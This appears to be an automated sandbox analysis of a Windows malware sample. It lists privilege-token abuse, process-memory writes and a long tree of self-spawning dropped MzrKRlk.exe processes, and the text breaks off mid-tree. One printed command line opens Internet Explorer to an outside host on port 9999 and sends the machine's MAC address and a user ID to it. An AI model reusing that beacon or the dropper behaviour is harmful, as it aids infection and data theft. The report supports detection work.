description pid Process Token: SeDebugPrivilege 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe Token: SeLoadDriverPrivilege 2928 qUXeGcR.exe Token: SeLoadDriverPrivilege 732 MzrKRlk.exe Token: SeLoadDriverPrivilege 1276 MzrKRlk.exe Token: SeLoadDriverPrivilege 4968 MzrKRlk.exe Token: SeLoadDriverPrivilege 4324 MzrKRlk.exe Token: SeLoadDriverPrivilege 2612 MzrKRlk.exe Token: SeLoadDriverPrivilege 2280 MzrKRlk.exe Token: SeLoadDriverPrivilege 2732 MzrKRlk.exe Token: SeLoadDriverPrivilege 1560 MzrKRlk.exe Token: SeLoadDriverPrivilege 1908 MzrKRlk.exe Token: SeLoadDriverPrivilege 5064 MzrKRlk.exe Token: SeLoadDriverPrivilege 4456 MzrKRlk.exe Token: SeLoadDriverPrivilege 5024 MzrKRlk.exe Token: SeLoadDriverPrivilege 4992 MzrKRlk.exe Token: SeLoadDriverPrivilege 1292 MzrKRlk.exe Token: SeLoadDriverPrivilege 2440 MzrKRlk.exe Token: SeLoadDriverPrivilege 4752 MzrKRlk.exe Token: SeLoadDriverPrivilege 4580 MzrKRlk.exe Token: SeLoadDriverPrivilege 2000 MzrKRlk.exe Token: SeLoadDriverPrivilege 4720 MzrKRlk.exe Token: SeLoadDriverPrivilege 3788 MzrKRlk.exe Token: SeLoadDriverPrivilege 2876 MzrKRlk.exe Token: SeLoadDriverPrivilege 4824 MzrKRlk.exe Token: SeLoadDriverPrivilege 4072 MzrKRlk.exe Token: SeLoadDriverPrivilege 1256 MzrKRlk.exe Token: SeLoadDriverPrivilege 5028 MzrKRlk.exe Token: SeLoadDriverPrivilege 2020 MzrKRlk.exe Token: SeLoadDriverPrivilege 1572 MzrKRlk.exe Token: SeLoadDriverPrivilege 4832 MzrKRlk.exe Token: SeLoadDriverPrivilege 3696 MzrKRlk.exe Token: SeLoadDriverPrivilege 3508 MzrKRlk.exe Token: SeLoadDriverPrivilege 2016 MzrKRlk.exe Token: SeLoadDriverPrivilege 3968 MzrKRlk.exe Token: SeLoadDriverPrivilege 640 MzrKRlk.exe Token: SeLoadDriverPrivilege 696 MzrKRlk.exe Token: SeLoadDriverPrivilege 4108 MzrKRlk.exe Token: SeLoadDriverPrivilege 1416 MzrKRlk.exe Token: SeLoadDriverPrivilege 1272 MzrKRlk.exe Token: SeLoadDriverPrivilege 1732 MzrKRlk.exe Token: SeLoadDriverPrivilege 2320 MzrKRlk.exe Token: SeLoadDriverPrivilege 3912 MzrKRlk.exe Token: SeLoadDriverPrivilege 2520 MzrKRlk.exe Token: SeLoadDriverPrivilege 4620 MzrKRlk.exe Token: SeLoadDriverPrivilege 1396 MzrKRlk.exe Token: SeLoadDriverPrivilege 4704 MzrKRlk.exe Token: SeLoadDriverPrivilege 3532 MzrKRlk.exe Token: SeLoadDriverPrivilege 1620 MzrKRlk.exe Token: SeLoadDriverPrivilege 1724 MzrKRlk.exe Token: SeLoadDriverPrivilege 1828 MzrKRlk.exe Token: SeLoadDriverPrivilege 4124 MzrKRlk.exe Token: SeLoadDriverPrivilege 332 MzrKRlk.exe Token: SeLoadDriverPrivilege 744 MzrKRlk.exe Token: SeLoadDriverPrivilege 5048 MzrKRlk.exe Token: SeLoadDriverPrivilege 1220 MzrKRlk.exe Token: SeLoadDriverPrivilege 1660 MzrKRlk.exe Token: SeLoadDriverPrivilege 2296 MzrKRlk.exe Token: SeLoadDriverPrivilege 3156 MzrKRlk.exe Token: SeLoadDriverPrivilege 4512 MzrKRlk.exe Token: SeLoadDriverPrivilege 4192 MzrKRlk.exe Token: SeLoadDriverPrivilege 672 MzrKRlk.exe Token: SeLoadDriverPrivilege 2012 MzrKRlk.exe Token: SeLoadDriverPrivilege 740 MzrKRlk.exe Token: SeLoadDriverPrivilege 3880 MzrKRlk.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3536 IEXPLORE.EXE 12092 Process not Found -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 3536 IEXPLORE.EXE 3536 IEXPLORE.EXE 1308 IEXPLORE.EXE 1308 IEXPLORE.EXE 1308 IEXPLORE.EXE 1308 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1952 wrote to memory of 740 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 82 PID 1952 wrote to memory of 740 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 82 PID 1952 wrote to memory of 740 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 82 PID 740 wrote to memory of 3536 740 iexplore.exe 83 PID 740 wrote to memory of 3536 740 iexplore.exe 83 PID 3536 wrote to memory of 1308 3536 IEXPLORE.EXE 84 PID 3536 wrote to memory of 1308 3536 IEXPLORE.EXE 84 PID 3536 wrote to memory of 1308 3536 IEXPLORE.EXE 84 PID 1952 wrote to memory of 2928 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 85 PID 1952 wrote to memory of 2928 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 85 PID 1952 wrote to memory of 2928 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 85 PID 2928 wrote to memory of 732 2928 qUXeGcR.exe 88 PID 2928 wrote to memory of 732 2928 qUXeGcR.exe 88 PID 2928 wrote to memory of 732 2928 qUXeGcR.exe 88 PID 732 wrote to memory of 1276 732 MzrKRlk.exe 89 PID 732 wrote to memory of 1276 732 MzrKRlk.exe 89 PID 732 wrote to memory of 1276 732 MzrKRlk.exe 89 PID 1276 wrote to memory of 4968 1276 MzrKRlk.exe 90 PID 1276 wrote to memory of 4968 1276 MzrKRlk.exe 90 PID 1276 wrote to memory of 4968 1276 MzrKRlk.exe 90 PID 4968 wrote to memory of 4324 4968 MzrKRlk.exe 91 PID 4968 wrote to memory of 4324 4968 MzrKRlk.exe 91 PID 4968 wrote to memory of 4324 4968 MzrKRlk.exe 91 PID 4324 wrote to memory of 2612 4324 MzrKRlk.exe 92 PID 4324 wrote to memory of 2612 4324 MzrKRlk.exe 92 PID 4324 wrote to memory of 2612 4324 MzrKRlk.exe 92 PID 2612 wrote to memory of 2280 2612 MzrKRlk.exe 93 PID 2612 wrote to memory of 2280 2612 MzrKRlk.exe 93 PID 2612 wrote to memory of 2280 2612 MzrKRlk.exe 93 PID 2280 wrote to memory of 2732 2280 MzrKRlk.exe 94 PID 2280 wrote to memory of 2732 2280 MzrKRlk.exe 94 PID 2280 wrote to memory of 2732 2280 MzrKRlk.exe 94 PID 2732 wrote to memory of 1560 2732 MzrKRlk.exe 95 PID 2732 wrote to memory of 1560 2732 MzrKRlk.exe 95 PID 2732 wrote to memory of 1560 2732 MzrKRlk.exe 95 PID 1560 wrote to memory of 1908 1560 MzrKRlk.exe 96 PID 1560 wrote to memory of 1908 1560 MzrKRlk.exe 96 PID 1560 wrote to memory of 1908 1560 MzrKRlk.exe 96 PID 1908 wrote to memory of 5064 1908 MzrKRlk.exe 97 PID 1908 wrote to memory of 5064 1908 MzrKRlk.exe 97 PID 1908 wrote to memory of 5064 1908 MzrKRlk.exe 97 PID 5064 wrote to memory of 4456 5064 MzrKRlk.exe 98 PID 5064 wrote to memory of 4456 5064 MzrKRlk.exe 98 PID 5064 wrote to memory of 4456 5064 MzrKRlk.exe 98 PID 4456 wrote to memory of 5024 4456 MzrKRlk.exe 99 PID 4456 wrote to memory of 5024 4456 MzrKRlk.exe 99 PID 4456 wrote to memory of 5024 4456 MzrKRlk.exe 99 PID 5024 wrote to memory of 4992 5024 MzrKRlk.exe 100 PID 5024 wrote to memory of 4992 5024 MzrKRlk.exe 100 PID 5024 wrote to memory of 4992 5024 MzrKRlk.exe 100 PID 4992 wrote to memory of 1292 4992 MzrKRlk.exe 101 PID 4992 wrote to memory of 1292 4992 MzrKRlk.exe 101 PID 4992 wrote to memory of 1292 4992 MzrKRlk.exe 101 PID 1292 wrote to memory of 2440 1292 MzrKRlk.exe 102 PID 1292 wrote to memory of 2440 1292 MzrKRlk.exe 102 PID 1292 wrote to memory of 2440 1292 MzrKRlk.exe 102 PID 2440 wrote to memory of 4752 2440 MzrKRlk.exe 103 PID 2440 wrote to memory of 4752 2440 MzrKRlk.exe 103 PID 2440 wrote to memory of 4752 2440 MzrKRlk.exe 103 PID 4752 wrote to memory of 4580 4752 MzrKRlk.exe 104 PID 4752 wrote to memory of 4580 4752 MzrKRlk.exe 104 PID 4752 wrote to memory of 4580 4752 MzrKRlk.exe 104 PID 4580 wrote to memory of 2000 4580 MzrKRlk.exe 105 PID 4580 wrote to memory of 2000 4580 MzrKRlk.exe 105
Processes
-
C:\Users\Admin\AppData\Local\Temp\f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dd.zxcvbnmzxcvbnm.com:9999/Chinagogogo.ashx?Mac=D6:58:6E:C9:63:07&UserId=104&Bate=1.07&ThreadNum=3&Url=;-2⤵
- Suspicious use of WriteProcessMemory
PID:740 -
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dd.zxcvbnmzxcvbnm.com:9999/Chinagogogo.ashx?Mac=D6:58:6E:C9:63:07&UserId=104&Bate=1.07&ThreadNum=3&Url=;-3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3536 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3536 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1308
-
-
-
-
\??\c:\qUXeGcR.exec:\qUXeGcR.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe12⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4456 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe14⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe15⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe16⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe17⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe18⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4752 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe19⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe20⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2000 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe21⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4720 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe22⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3788 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe23⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2876 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe24⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4824 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe25⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4072 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe26⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1256 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe27⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5028 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe28⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2020 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe29⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1572 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe30⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4832 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe31⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3696 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe32⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3508 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe33⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2016 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe34⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3968 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe35⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:640 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe36⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:696 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe37⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4108 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe38⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1416 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe39⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1272 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe40⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1732 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe41⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2320 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3912 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe43⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2520 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe44⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4620 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe45⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1396 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe46⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4704 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe47⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3532 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe48⤵
- Executes dropped EXE
PID:3688 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe49⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1620 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe50⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1724 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe51⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1828 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe52⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4124 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe53⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:332 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe54⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:744 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe55⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5048 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe56⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1220 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe57⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1660 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe58⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2296 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe59⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3156 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe60⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4512 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe61⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4192 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe62⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:672 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe63⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2012 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe64⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:740 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe65⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3880 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe66⤵PID:1096
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe67⤵
- Drops file in System32 directory
PID:228 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe68⤵PID:3564
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe69⤵PID:4980
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe70⤵PID:4428
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe71⤵PID:4488
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe72⤵PID:1536
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe73⤵PID:3576
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe74⤵PID:1060
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe75⤵PID:4708
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe76⤵PID:4904
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe77⤵PID:1456
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe78⤵PID:4224
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe79⤵PID:5056
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe80⤵PID:4312
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe81⤵PID:3124
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe82⤵PID:2448
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe83⤵PID:3240
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe84⤵PID:5116
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe85⤵PID:5088
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe86⤵PID:5100
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe87⤵PID:220
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe88⤵PID:1476
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe89⤵PID:2424
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe90⤵PID:4616
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe91⤵PID:4364
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe92⤵PID:5004
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe93⤵
- Drops file in System32 directory
PID:3984 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe94⤵PID:5104
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe95⤵PID:5132
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe96⤵PID:5156
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe97⤵PID:5176
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe98⤵
- System Location Discovery: System Language Discovery
PID:5196 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe99⤵PID:5216
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe100⤵PID:5236
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe101⤵PID:5256
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe102⤵PID:5276
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe103⤵PID:5296
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe104⤵
- Enumerates connected drives
PID:5316 -
